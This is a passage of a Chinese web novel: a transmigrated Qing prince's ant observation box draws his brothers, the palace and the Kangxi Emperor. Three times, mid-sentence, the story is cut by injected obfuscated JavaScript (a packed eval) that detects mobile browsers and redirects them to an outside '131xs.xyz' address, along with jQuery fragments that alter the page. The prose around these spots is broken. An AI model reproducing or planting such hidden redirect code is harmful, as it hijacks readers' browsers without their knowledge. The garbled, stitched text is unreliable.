长相平凡、成绩普通、性格沉默,不入老师的眼,也不属于任何一个同学里的小圈子。明明坐在教室里,却和透明人一样,只能沉默地看着别人上演一出出精彩的人生,自己像被世界遗忘了。 但是,没有人生来就该是被遗忘、被视而不见的。 大太监听见了小主子的话,看了一眼胤祐。 宝福原是抱着胤禟的,后来十阿哥到了练习场,便叫太监放自己下来,九阿哥也跟着不要抱了。俩小阿哥跑得飞快,他们在后头差点没跟上。结果没料到小主子摔着了,所幸没有大碍。 只是没想到七阿哥主动搭上了九阿哥。 七阿哥不得宠是谁都知道的。连带着连累了戴佳氏,诞下阿哥这么久,还没有受到册封,仍然是个没什么地位的庶妃。 宫里人惯会捧高踩低,虽然后宫有太皇太后和太后镇着,之前又在惠妃那儿养着,吃穿不会短着,但背后指指点点,和看人下菜肯定也是难免的。 至于他们这些不相干的下人,也绝对不会上赶着去讨好。 只是既然小主子这么说了,宝福还是礼节性地朝胤祐行了个礼,道了谢。 胤祐看起来有些拘谨,朝宝福点了点头,就准备离开。 可是牵着他衣角的小手并没有放开。 “哥哥也是来练习射箭的吗?”小粉团子朝他露出了一个大大的笑容,奶声奶气地问。 “嗯。” “我们一起练习好不好?”小团子眨巴眨巴大眼睛,一脸期待地问。 “这……”胤祐有些迟疑。他体力不好,训练一会儿就得休息好长时间,箭射得也一般,甚至还比不上八弟,怎样看都不是好的学伴。 这也是为什么他很少和八弟一起练习,都是自己一个人在角落默默训练的原因。 小团子见他犹豫,白净的小脸登时皱了起来,小手摇晃着胤祐的衣角:“哥哥,好不好嘛。” 不待胤祐开口,小团子又转头对已经站起来不再哭的胤俄说:“十弟,这个哥哥是好人,我们和他一起练习好不好?” 胤俄已经被太监们七手八脚扶起来,拍干净身上尘土,也不再哭了。 胤俄对胤禟完全是盲目信任,见九哥这么喜欢这个大哥哥,觉得九哥的想法肯定没错,用力点了点头:“好!我们一起练习!” 小粉团子和小胖团子两脸期待地齐齐看着胤祐。 “那……那好吧……”。 胤祐又垂下了眼睫,声音比蚊子大不了多少。只是他发现自己,竟然有一点暗暗的欣喜。 - 胤祐领着两个小团子到了自己练习的角落。 他看见小粉团子叉着腰,逡巡了一圈,最后相中了一块平整的大石头,指挥一直跟在最后的小太监,把手里抱着的东西放上去。 那东西胤祐一开始便瞧见了,用褐色的绸布盖着,不知道是什么。 但九弟并没有打算揭开绸布,而是把东西放在那上面,便开始摆弄自己的小弓。 胤俄的谙达已经到了,开始教授胤俄基础的姿势。 今日胤禟与胤俄同来,时间比往常早了不少,阿舒默尔根和胤禩还没到,他便乐得逍遥,背起小手,小大人般迈着小短腿在场内巡视。 只是他一靠近胤俄,胤俄便会因为想和他说话,而停下练习的动作。在胤俄谙达无奈的眼神注视下,胤禟摸摸鼻子,转到了胤祐附近。 出乎他的意料,胤祐射箭的动作又稳又准。连续几箭,虽然动作不快,但是准头却很高,张弓饱满,臂力也不弱。 唯一受到影响的,是胤祐不能久站。 从方才开始练习到现在,算算不过两刻功夫,胤祐站立便有些不稳。 胤祐其实早该休息了,只是他看见九弟在一旁看着,便仍然咬牙勉力支撑。 但他的腿实在不争气,有袍子挡着外头看不出来,实际那只跛腿已经微微发抖。不一会儿,额上便渗出了细细的汗珠。 他不得已放下了弓。 真是太差劲了,九弟一定会觉得自己这个哥哥没用……胤祐懊恼地想着。 “哥哥好厉害,射箭都中了!” 一个小粉团子蹦蹦跶跶跳到他面前。 胤祐微微睁大了眼睛。 从小到大,除了额娘和惠妃额娘,还没有谁夸奖过他。 所以他也不知道应该如何应对小粉团子的夸奖。 不过好在不待他表示,小粉团子就牵住他的手,一边指着他放着东西的石头:“哥哥,我有个好东西给你看!” 胤祐任胤禟拉着,走到石头面前。胤禟轻轻一扯绸布,绸布便流水般滑落,露出里面的东西来。 是个方形的玻璃盒子,里面还填了泥土。 胤祐见这东西稀奇,没好意思问是什么,悄悄瞥了两眼,只看见里头有很多镂空的地道,不知道是做什么的。 “哥哥,快来看蚂蚁!”小粉团子拉了拉胤祐的手,示意他凑近点。又朝身后两个太监比划了一番,立即有两把椅子搬了过来。 胤祐配合地坐在其中一把椅子上,胤禟则被宝福抱到椅子上坐好。 胤祐探身去看,离得近了,他才发现原来盒子里有很多蚂蚁,密密麻麻地不停爬动着。 胤祐以前对看蚂蚁并没有什么特别的兴趣。 一来他出生起就腿脚不便,幼时腿部天生力气比同龄人小,不能久蹲。二来他光是维持正常人的生活,就足够花费精力了,没有多余的心思来体会看蚂蚁的乐趣。 但是没想到,原来蚂蚁的地下巢穴居然是这个模样。 “七哥、九弟,你们在看什么?” 胤禩也来了。他远远看见七哥和九弟凑在一起看什么东西,心里好奇,便在训练前先过来看看。 “八弟。” “八哥,你来啦!”胤禟得意地指着玻璃盒子,两条小腿悬空晃荡着:“这个叫做蚂蚁观察箱,可以看到蚂蚁是怎么生活的。” “哦?”胤禩听着有趣,便凑近了看。 他以前不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429402|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理解为什么四哥这么爱看蚂蚁,那些小东西毫不起眼,每天为了点口粮忙忙碌碌,实在无聊得很。 今天看见了蚂蚁地下巢穴,才知道原来蚂蚁窝构造这么复杂,堪比一项大工程,简直不可思议。 胤俄第一天射箭,起初还抵挡着诱惑,认真学习了一会儿。见几位哥哥都凑在那边,只觉得心里头也有好多蚂蚁在爬,跺了跺脚,把小弓朝谙达一递,撒开两只小短腿,气喘吁吁地跑来凑热闹:“七哥八哥九哥,我来了!” 小胖团子跑得太急,到跟前刹不住脚,眼见又要绊一跤,得亏胤禟和胤祐一左一右搀稳了。 胤禩饶有兴致地看了一会儿,忽然自言自语道:“如果四哥看见这个,一定非常高兴。” 他与胤禛曾生活在一处,算得上打小的玩伴,已经习惯了有什么好玩的,都要叫四哥来看看。更何况,这可是四哥最喜欢看的蚂蚁! 他不知道胤禛此前已经见过这个东西,看向胤禟征询道:“九弟,我能把四哥叫来吗?” 胤禟当然求之不得。 胤禩骑着小马去了射殿前的靶场,回来的时候,身后跟着胤礽、胤祉、胤禛和胤褀,像一串长长的冰糖葫芦。 胤禟:……八哥号召力这么强的吗。 胤禩方才先去找的胤禛,说明了来意,胤禛便叫上了胤褀。胤禛和胤褀离开的时候,正好路过胤祉的训练场,胤祉便多问了一嘴,心里好奇也跟上了。 胤礽看见一排人往东南角去,着人问了,犹豫了一下,也跟了上去。 “喂,他们怎么都走了?”胤禔扬鞭点了一个小太监问话。 “回大阿哥,说是九阿哥带了个什么宝贝来,各位阿哥们都去看了。” 胤禔贴身太监看见小主子神色动摇,便主动问道:“主子,您要过去看看吗?” 胤禔倒是想过去,反正昨日就说过,汗阿玛今日不来。但毕竟他以大欺小在先,这一个多月九弟对他冷冷地,半句话也没说过,实在拉不下面子。 “去什么去,没看见爷正练着么?”胤禔心里憋着一股气,一鞭子甩在贴身太监脚前,激得地上砂石飞溅,吓得贴身太监脸色煞白,退到一边不敢言语。 那厢,蚂蚁观察箱前顷刻围了一圈人。 胤禛和胤褀视线逡巡了一遍蚂蚁巢穴。 “蚁后好像生蚂蚁宝宝了!”胤褀惊喜地指了指蚁后。 胤禛凑近仔细看了看:“嗯。” “这个大蚂蚁是蚁后?”胤祉看向胤褀手指的方向,确实看见一只比普通蚂蚁大得多的蚂蚁,旁边堆了一堆白色的小颗粒。 他头一回见蚂蚁观察箱,只觉得造物神奇、难以置信,一双眼睛登时离不开了。 胤礽远远瞅着玻璃箱子也觉得新鲜,只是小皇子们动作快,哗啦全围了上去,倒没有谁注意到他也跟了过来,给留个位置。 他又不是厚面皮的胤禔,拉不下面子挤开弟弟们,便站在外侧,借着身高优势往里看。 阿舒默尔根按照以往约定的时间来到练习场的时候,就看见胤祉、胤祺撅着屁股,胤禛、胤禩蹲着,胤祐坐着,胤禟、胤俄站着,把一块大石头围得水泄不通。 甚至在人群两尺开外,还站着太子殿下,此时正踮着脚伸着脖子往里瞅。 阿舒默尔根:…… 18. 第 18 章 宫里什么都不缺,尤其不缺消息。 自那日后,九阿哥有个看蚂蚁的神奇箱子,这个消息很快传遍了三宫六院。 甚至越传越玄乎。 等到紫禁城的第一片雪花飘落的时候,消息已经从“九阿哥那里可以看蚂蚁”变成了“九阿哥有一个宝贝盒子,可以观蚂蚁行迹而推演天象,知朝代兴衰”。 听到莲珠绘声绘色描述流言的时候,胤禟正在吃刚研制出来的双皮奶,呛得一颗红豆从鼻子里飞了出来。 胤禟:…… 再这样下去,恐怕要惊动汗阿玛,没准还得被有心人安一个行巫蛊之术、祸乱朝纲的大帽子。 谣言止于智者,胤禟觉得,自己出手的时候到了。 - 翊坤宫东厢房耳房内。 胤禛、胤祺、胤禟三小只排排坐在地上。 屋内地龙烤得暖烘烘地,桌上玻璃箱里的蚂蚁并没有受到寒冬的影响,依然活力十足地爬上爬下。 三人周边散落着一些画纸和木板。 胤禟小手举起一张画纸,上面画着一只大蚂蚁,旁边用横线注明了蚂蚁身体各部位的名称。 他仔细看了看,十分满意地放下,又拿起了另一张。 这张是一个蚂蚁巢穴横截面图,每个蚁室都标注了序号,并在一边注明了名字“蚁后产卵室”“孵化室”“食物储藏室”等等。 这些画虽然寥寥数笔,但蚂蚁和巢穴跃然纸上,笔触还有些稚气,但已有隐隐的冷峻孤高之气。 “四哥画得真好!”胤禟真心赞叹。 惟妙惟肖是一方面,更难得的是用中国画的笔法,将蚂蚁的体态画得十分精准,用来科普再合适不过。 不愧是品味高雅的雍正帝! 胤禛被他的星星眼看得不好意思,小脸微微发红,低头去看图纸:“九弟满意便好。” 胤祺也没闲着,一边哼着自创的小调,手里也没闲着,将一团陶土揉捏几下,一个像模像样的蚂蚁脑袋雏形便出来了。 - 一个月后。 “听说了吗,翊坤宫允许皇子格格们进入,观赏那个蚂蚁宝盒呢!” “是啊是啊,据说每日只有一个名额,先到先得。” “可不是,我都已经排了三天队了,还是没抢着号。” “我家小主子倒是进去看了一次,但是之后还想进去,就得带样稀奇的东西。” “……” 宫内随处都可听见宫女、太监这般议论。 宜妃这段时间十分忙碌,每天两眼一睁,宝福就会将今日造访的小皇子或小格格报上来,是翊坤宫今日抢到了号的访客。 也不知道怎么回事,自家儿子那养蚂蚁的玻璃盒子出了名,一连半个月,翊坤宫门前清晨就早早排起了长队,都是来给自家小主子领号的太监宫女。 一时间,仿佛整个宫里的小皇子、小格格们都纷至沓来,翊坤宫门口的石阶都感觉磨薄了一层。 真不知道蚂蚁有什么好看的。 胤禟那耳房她进去过,布置得倒是别致,就是她对这些脏兮兮的小虫子不大感兴趣。 不过,谁叫宝贝儿子喜欢呢。她这个当额娘的,自然得支持。 宜妃站在翊坤宫里来回巡视着。 小厨房的点心得多备着些,那些个容易碰着的瓶瓶罐罐挪开点,小阿哥、小格格们万一碰着挤着,东西摔了不打紧,割伤了哪位金枝玉叶就不好了。还有其他宫里跟着的大太监,那也是不好轻慢的,不然背后得被叽歪不懂礼数…… 所幸她冰雪聪明的儿子想了个好主意,第一次来的皇子、格格们,谁也不拘,只要抢到当日的号便能进入。 但是第二次还想进来,就得找造办处或自己想法子,按他的要求带些奇奇怪怪的东西来。 虽然不知道那些东西有什么用,但既然是胤禟想出来的,那肯定有他的道理。宜妃依然一如既往地盲目相信自己的宝贝儿子。 而且这样一来,头一回大家公平竞争,谁也不得罪,之后又能借着造办物件的时间,降低大家来访的频率,她也乐得能清闲几日。 这段日子同样忙碌的还有康熙。 康熙现在十分头疼看见内务府大臣噶鲁。 不知道为什么,最近后宫请求拜访翊坤宫的帖子如雪花一般飞进了乾清宫,每次噶鲁求见,都捧着厚厚一沓,让他朱圈同意。 康熙虽然不太支持太子与皇子、格格交从过密,但普通皇子、格格正常交往,他也不拘着,毕竟也没有皇子、格格脸皮厚到会天天往别人宫里跑。 但是他好像忘记了,他有个脸皮比紫禁城城墙还厚的九阿哥。 虽然他能拦住小九成天介往外跑,但若是宫里人人每日轮流都来拜访,他也不能谁都拦着。 偏偏这些个皇子、格格的说法都很是冠冕堂皇。 “近日得了一本汉文幼童启蒙读物,想当面赠予九弟。”这是胤祉。 “九弟托我画了一幅画,上门送给九弟。”这是胤禛。 “五妹妹想认识一下九弟,我带她去。”这是太后终于不胜其烦踢皮球过来的胤祺和五格格。 “听闻九弟冰雪可爱,想前往探望。”这是他的小棉袄二格格。 …… 康熙将帖子一合,看向噶鲁,问道:“怎么最近翊坤宫那边这么热闹?” 蚂蚁观察箱就是内务府下头造办处烧制的,噶鲁此前已经了解清楚内情,便将九阿哥如何画了一张草图,造办处又如何烧制了一个玻璃箱子从头道来。 “后来也不知怎地,宫里好些阿哥们都得了消息,说九阿哥有个神奇的蚂蚁盒子,”噶鲁偷偷观察康熙表情:“这事儿便传开了。” 这后头那些更加离谱的流言,噶鲁选择性地忽略了。 不过他心里也没底,那些说法玄乎得很,什么蚂蚁地穴分呈九条,每条又有五室,正对应着九五之数,很是那么一回事。 一个帖子被重重扔到了他的脚下。 噶鲁条件反射地一跪。 “便说成了是可以观蚂蚁行迹而推演天象,知朝代兴衰?”康熙面色一冷:“内务府也该好好明肃明肃宫规了。” 这是说噶鲁管理太监宫女不力,任凭他们嚼舌根。 显然,即便噶鲁不说,皇帝也有自己的情报。 噶鲁汗流浃背,磕头领命。 “起来吧。”康熙喝了一口茶,面色略微缓和下来:“这些帖子里,怎地不见大阿哥的?” 大阿哥以前出宫避痘,就是养在噶鲁府上。虽然回宫了,但人之常情,两人仍然有来往,康熙是知道这事的。不过噶鲁是个忠心的,两人也未有政治上的合谋,康熙便睁一只眼闭一只眼。 噶鲁倒是问过胤褆为何不去翊坤宫。 胤褆当时梗着脖子说:“我又不是奶娃娃,对看蚂蚁没兴趣。” 不过大阿哥向来嘴硬,噶鲁也没当真。 “许是惠妃娘娘生辰将近,大阿哥没有其他多余的心思。”噶鲁斟酌着找了个理由。 看起来皇帝对九阿哥的蚂蚁观察箱颇有兴致,自己若直接说大阿哥觉得这东西太幼稚,那不是打了皇帝的脸? 职场老江湖的判断还是很准确的。 康熙将身旁的帖子一推,起身道:“走,咱们也上翊坤宫瞧瞧去。” - 接连几天大雪,到今日总算是停了。 宫道上的积雪早已清扫干净,只有琉璃瓦上厚厚的一层白,宣告着雪势曾经如何浩大。 康熙领着一行人走过,朱红高墙瓦片上的雪花,受到震动簌簌而落,掉在贴着墙根走的猫身上,激得猫“喵呜”一声,抖起毛甩了甩身子,一下子跃开了。 翊坤宫院里也积了厚厚一层雪。 院中扫开了一小块空地,连接到院门口和几处常走的步道,其余地方仍旧留着雪。 院中空地上放了个炉子,炉子上架了个铁丝架,搁着几个橘子、一把桂圆、一堆板栗和花生,中央还有一个带柄的瓦罐,里头咕噜咕噜煮着奶茶,香气四溢。 炉边围了几把椅子,宜妃和钮钴禄氏正剥着花生,一边闲聊。 雪地上胤禟、胤禌、胤祺和胤俄正在堆雪人。 宜妃和钮钴禄氏身边已经堆了大大小小好几个雪人,大都是脸上嵌了两枚石子作眼睛、安了一颗胡萝卜作鼻子,身体上左右各插了一节小树枝作手臂。唯有一个雪人,头上戴了顶雪做的王冠,身上还披了块大红大绿的碎花布。 钮钴禄氏看儿子已经堆了许久,额上冒了一层薄汗,忙唤了胤俄过来,贴身太监替他擦了头上、颈上、背上的汗,从小罐子里倒了一杯奶茶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440279|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,让十阿哥喝了暖暖身子。 胤祺也带着胤禟、胤禌围着炉边坐下,自有太监们上来擦汗、伺候。 胤禌走路已经十分顺溜,就是体质一直不大好,一到屋外头,就被乳母裹得厚厚实实像个小包子,只露出一张小脸。 胤禟抹了把脸,又洗了手,从旁边小篮子里,取了几串烤肠放在铁架上。 他穿过来第三年冬天才知道,原来康熙年间还没有烤肠。 没有烤肠,就自己动手、丰衣足食。不就是把猪肉剁成馅,灌进羊肠衣么,简单。外头再刷层猪油,烤出来香喷喷、油滋滋,在大冬天里吃着简直是美味。 烤肠很快成为翊坤宫和永寿宫的常驻小吃,甚至经由胤祺流传到了慈宁宫,据说五妹妹和太后也很是喜欢。 放好烤肠,没一会儿架子上就飘出了浓郁的肉香。 胤禟翻转了两回,见时间差不多,取出一个铁罐子拧开,倒了些孜然、盐、辣椒粉、八角粉混合的调料,又洗了洗手,这才捡了两个板栗边剥边啃,一边继续翻着烤肠。 忽然院外窜进来一只通体白色猫咪,跳到胤禟怀里,毫不见外地把他手里刚剥的板栗吃了,又叼了一串烤肠在嘴里,烤肠上的油和调味料蹭了胤禟一身。 胤禟:…… 来这里三年,宫里头的猫猫狗狗和他都混了个九成熟。 胤禟认得这是毓庆宫里的榴花,不知道怎么今天跑到翊坤宫来了,身上还湿漉漉的。 莲珠拿了一块干手巾过来,胤禟正在帮猫擦干身子,照壁后绕了一群人出来,为首的正是康熙。 “都起来罢,地上凉。”康熙扫了一眼院子。 今日翊坤宫倒是热闹,老五、小九、小十、小十一都在。 院子里大大小小的雪人憨态可鞠。 康熙突然反应过来,宫里这么多年,他还是第一回看到雪人。 以及第一回看到,披了个大红大绿披风戴王冠的雪人。 他不禁看向胤禟。 许是在雪地里玩了许久,小团子小脸白得玉琢一般,鼻头和两颊红红的,像是有些冻着了,想让人抱在怀里,好好捂捂热。 他正想开口叫众人起身,就见小团子怀里有个东西正在拱来拱去,似乎想要努力钻出来。 一、二、三,康熙在心里默数了三个数,那东西果然探出头来。 是个猫猫头。 怎地小九还养了只猫?看着倒是有些眼熟。 康熙没多想,招呼众人坐下。自己捡了个最方便拿食物的位置,又特地看了眼胤禟,再看了眼自己身边的空位。 梁九功会意,领着胤禟坐在了康熙边上,还特地把椅子朝炉子移了移,让九阿哥更好取暖。 炉子烧得正旺,上头摆了许多吃食,方才康熙在翊坤宫外头的步道上,就闻到了里头飘出来的诱人香气。 康熙忽然觉得肚子有些饿了。 大抵是今儿起得早、中午吃得少、批阅奏折多的缘故。 反正肯定不是他馋。 宜妃见皇帝的视线黏在了炉子上,探手剥了两粒花生,倒在了康熙手里。 康熙一把吃了,不错,香酥干脆。 宜妃还要伺候,康熙摆了摆手。这围炉煮茶还得自己动手才有那劲儿,他捡了两颗桂圆剥了,桂圆肉被烤得有些发韧,吃起来口感倒是不错,也保留了汁水。 康熙开始剥板栗的时候,胤禟怀里的榴花忽然不安份地扭动起来。 胤禟摸了摸它的脑袋,又挠了挠下巴,榴花才勉强安静下来。 挠下巴的时候,胤禟感受到榴花咽了口口水。 榴花最喜欢吃板栗和烤肠,莫不是想护食?胤禟盯着铁架上已经烤熟了的烤肠,祈祷康熙千万不要因为好奇拿起来。 不然,猫在自己怀里,闯了祸,康熙总不至于去骂猫…… 这念头刚从脑海中一闪而过,胤禟就看见康熙拿起了一根烤肠打量着。 胤禟:…… 还不待他反应过来,榴花弹簧一般从胤禟怀中蹦了出去,精准无误地咬中了康熙手里的烤肠,一甩脖子从康熙手里夺下,窜到胤禟脚边,四足并用把签子扯了下来,开始大快朵颐。 胤禟默默扭过了脸。 康熙盯着自己前襟上一团油渍,面色铁青,咬牙切齿:“胤、禟!” 19. 第 19 章 在钮钴禄氏的第三方证词下,总算洗脱了胤禟管教猫咪无方的罪名。 榴花没事猫一样,依然盘在胤禟脚边,还不时惬意地摆着尾巴。 康熙拿起一颗板栗,想再吃点东西,榴花立即竖起了尾巴,弓起了脊背,喉咙里发出“咕噜”的声音。 康熙瞥了一眼榴花,继续剥板栗。 榴花一掌拍在旁边的小雪人头上,将雪人脑袋拍得粉碎。 康熙:…… 在榴花充满威胁的目光里,康熙讪讪放下了板栗。 他无处着落的目光落在了架子上的瓦罐。 瓦罐里盛着奶褐色的液体,上面浮了些桂圆、桂花、红枣、枸杞,红红黄黄白白的颜色很是喜人。 液体咕嘟咕嘟冒着泡,浓郁的奶香气息四散开来。 “这是什么?”康熙指了指瓦罐。 宜妃手边早摆上了空碗。她将旁边一块厚些的夹棉锦布裹住瓦罐的小柄,倒了一碗递给康熙:“回万岁爷,这是烤奶茶。” 那瓦罐设计也精巧,罐嘴上设计了漏斗状的孔洞,倒出来的奶茶又滑又绵。 “烤奶茶?”奶茶不是什么稀罕物,这烤奶茶又是什么?还头一回见里煮了这么多东西,而且味道闻起来也与一般的奶茶大不一样。 康熙瞄了一眼榴花,榴花眼都没抬一下,专心吃它的烤肠,显然对此不感兴趣。 他这才放心地接过茶碗,抿了一口。 奶味闻着醇厚,但喝起来却十分爽口,不如满人惯喝的奶茶厚重,而且,居然还是甜口的? 这表情,和胤禟当初喝宫里奶茶时的表情异曲同工。 不过胤禟是惊讶,康熙是惊喜。 胤禟才两岁半的时候,有一回实在嘴馋,听宫人说准备了奶茶给五阿哥,便缠着胤祺让他喝两口。 本以为能喝到前世熟悉的配方,结果一进喉咙,居然是咸口的,说不上难喝,就是实在喝不习惯。 算鸟算鸟,自己动手,丰衣足食。 现成的原料都有,稍微调试了几回配方,便成功了。而且考虑到自己这身子还小,他还特地把茶底给去了,将普通蔗糖改成了焦糖,甜度更低且别具风味。 新式烤奶茶很受西六宫的欢迎,加上胤禟也不藏私,见胤俄喜欢喝得紧,干脆将方子直接送给了钮钴禄氏。考虑到胤俄圆滚滚的体型,还特地将糖量减了又减。 康熙喝了一碗,只觉得虽然不如原先奶茶的浓郁馥厚,但胜在口感爽利味道香冽,不觉又是一碗下肚。 他看了眼胤禟。 小团子不知吃了什么,两颊塞得鼓鼓囊囊,像只小仓鼠。 见汗阿玛看自己,小团子嘴巴塞满了说不出话,只能眨巴眨巴眼睛以示询问。 康熙道:“这烤奶茶也是你的主意了?” 胤禟等的就是这句话。 上回他借着姜汁撞奶,让康熙意识到自己对孩子们批评打压式教育的错误,但还不够。 这件事过去了好几个月,他必须在适当时候提醒康熙,免得时间一长,他淡忘了这件事的触动。 心理学有个词叫做“记忆锚点”,指锚定图像、音乐或事件,使某个信息被人记住,并且可以通过回忆来增强记忆。 康熙当然不知道自己儿子打着如意算盘,看见小团子努力咽下嘴里食物,小脸因为吞咽过于用力而涨得通红。 他赶紧顺了顺胤禟的背,又喂他喝了口奶茶。 小团子转过脸,可怜兮兮地看着他,小鹿一般圆溜溜的大眼睛湿漉漉地,鼻尖还带着一点点委屈巴巴的红:“是儿子想的,汗阿玛喜欢吗?” 他给康熙设定的记忆锚点,就是“汗阿玛喜欢吗?”这句话。 果然,康熙看着明显有些紧张的小团子,想起了此前姜汁撞奶的事情,心里竟然微微有些酸涩。 看来,上回确实让这孩子伤心了,心里一直惦念这事儿,不然这会儿也不会这般在意自己是否喜欢喝,瞧把孩子紧张得。 胤禟看见康熙沉默了一下。 Bingo,下锚成功! 康熙心里酸酸涩涩的感觉蔓延开来。他伸手揉了揉胤禟的小脑袋,点点头:“汗阿玛很喜欢。” 这回,小东西总该开心了吧? 果然,小团子眼睛立即变得亮晶晶地,像一只发现了粮仓的小山雀。 嗐,小孩子真好哄,一两句话就能开心成这样。 康熙没有发觉,自己的心情也随之愉悦起来。 桌上的气氛也因为皇帝的肯定,变得松弛、热闹起来。康熙同钮钴禄氏和宜妃说了会儿话,这功夫又喝了碗奶茶,剥了个烤橘子,趁着榴花吃完烤肠打盹的功夫,再摸了两三粒板栗拆吃下肚。 摸着圆滚滚的肚皮,康熙终于想起来到翊坤宫的正事。 - 东耳房不大,里面的地龙把屋子烤得温暖如春。 耳房门是个侧门,进门左手边是一排长桌,顺溜着放了一列东西铺陈开来。 康熙走进去,首先便看见墙壁上挂了一幅字,上首写着“前言”二字。 字体丰润劲挺,端方而不失灵动,是他再熟悉不过的胤礽的手笔。 这孩子真是胡闹,十三岁的人了,已经是要担事的年纪,怎么还跟着一个三、四岁的孩子瞎掺和。 康熙挑了挑眉,勉强压抑住心中不快,继续往下看。 “蝼蚁者,至微也。 寿不过数月,力不可撼树,稚童可覆巢,成人多轻之。 忙忙碌碌,不过为果腹之餐。惊惊惧惧,苟且寻贪生之所。” 这是胤礽写的? 以往只见过他写的政论,偏僻入理、一针见血是极好的,没想到写起来散文,竟然颇有另一番意趣。 康熙不禁继续看下去。 “然,观其君臣之序,司职分明而能不乱。察其勤勉之道,储 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16452277|184446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 食不怠而有岁余。 壤粒成丘,始见心恒。列穴通幽,以窥造化。” 写得不错。康熙心里那点不快早就抛到了一边。 “策群力,可溃长堤、吞巨兽、移山岳、渡江河。 以至微至贱败至高至伟,愿诸君切勿藐之。” 好、好啊!这气势,不愧是他的保成! 若不是要在臣子面前保持帝王的威严,康熙此刻早已抚掌。 “今以方寸之隅,辟一微界小展,冀盼诸君不弃斯室之陋,且效前人以小见大、管中窥豹之心,观经纬于土穴,悟大道于微虫。” 康熙看着这副前言,忽然发现了一个未曾想过的问题。 他总当保成是个孩子。 哪怕他的政论再精准,他的文章再锦绣,也始终是一岁时坐在龙床上,跟着他牙牙学语的奶娃娃。 但是今天,在一个不起眼的小房子里,对着儿童自娱玩闹一般的戏作前,他却突然发现他的保成长大了。 是不再亦步亦趋跟随他的思想,可以独立写出“以至微至贱破至高至伟”和“观经纬于土穴,悟大道于微虫”的太子了。 从前那个一句话要教好几遍,学步时摇摇摆摆像只小鸭子,和他分别就会哇哇大哭的奶娃娃,就这样长大了? 这个发现,让他不禁一阵恍惚。 难道,自己以后不该把他当成小孩子了? 可是不把他当成孩子,那应该把他当成什么人? 亲戚?臣子?好像怎么都不太对。 他幼年失怙,自小在太皇太后庇荫下长大。但两人之间毕竟隔了一代人,祖母的慈爱虽然能够补偿一些他过早缺失的父母之爱,但无法完全代替。 也因此,他对太子极度爱护,甚至连他自己也知道,有时候到了溺爱的程度。 自己未曾得到那样的爱,所以更想给最爱的孩子最好的东西。 但是他没有注意到,自己的童年在八岁那年戛然而止。 一夕之间,他从一个孩子,变成了一个大人。 他只有成为父母膝下承欢稚童的经历,却不知道,在逐渐成为大人的过程中,父亲和儿子,又应该如何相处。 所以当他第一次意识到他的保成,正在、将要、必然成为一个大人时,他感受到了前所未有的惊惧。 惊惧不知该如何自处。 惊惧保成的世界不再只有他一个人。 惊惧当有一天他的保成完全成为一个大人,一个力气比他大、身量比他高、甚至名望比他更响亮的大人,他康熙又该被置于何地。 他,还配当他的父亲吗? 他们父子,是否也会成为史书上斑驳血色里记载的一笔? 康熙站在这幅字前,只觉得肝胆惊惧如裂。 这比他当初平三藩时突闻吴三桂调集数万大军围攻永兴城,宜里布、哈克山[1]等四十一名将领一日之内皆尽阵亡时还要害怕。 20. 第 20 章 恍惚间,康熙听见了一道奶声奶气的声音。 “汗阿玛,这幅字是我缠了好久太子哥哥,太子哥哥才肯为我写的。” 胤禟没想到康熙不请自来。这屋里简直就是一个大型皇子女不务正业的大集会,要是康熙恼怒起来,那就连累了一串阿哥格格们。 是以打康熙进屋,他就高度紧张地盯着他的一举一动。 此时见他看着前言不发一语,心道定是康熙认出了太子的字,指不定恼怒着呢。 他决定先下手为强,把胤礽摘出去:“太子哥哥很快就写好了,没有耽误读书。” 宜妃看了一眼儿子。 当初太子的爱猫受伤跑进翊坤宫,被胤禟收留治好。太子为了道谢,便应这孩子的邀请,给这劳什子蚂蚁展题了个字。 说实话,她看见太子这幅字后也颇为惊讶。 倒不是因为题字的内容。 她学问不高,看不出这里头的门道高低。只是太子向来目下无尘,极少与其他阿哥们来往,这回虽然是道谢,但大可随手赠予些珍宝,面上过得去便是了,反正毓庆宫里什么宝贝没有,断没有答应三岁孩子胡闹般地要求,亲笔题字的道理。 却不知这孩子与太子,何时这般熟悉了。 胤禟见康熙不说话,正准备抛出那个黄金句式“汗阿玛觉得太子哥哥写得好不好?”,却听见康熙淡淡道:“写得很好。” 啊?他问了康熙吗? 怎么还抢答上了。 “走吧。” 胤禟眨巴眨巴眼睛,不明所以地应了一声“哦。” 前面是一个巨型的蚂蚁模型。 胤禟称职地担负起讲解员的职责,小手一指道:“汗阿玛,这是一个兵蚁模型,除了大小,其余都和真兵蚁一模一样。” 模型足有成人手臂长,蚂蚁的触须、大颚甚至腿上的刚毛都纤毫毕现,成功地吸引了众人的注意。 原来蚂蚁长这个样子? 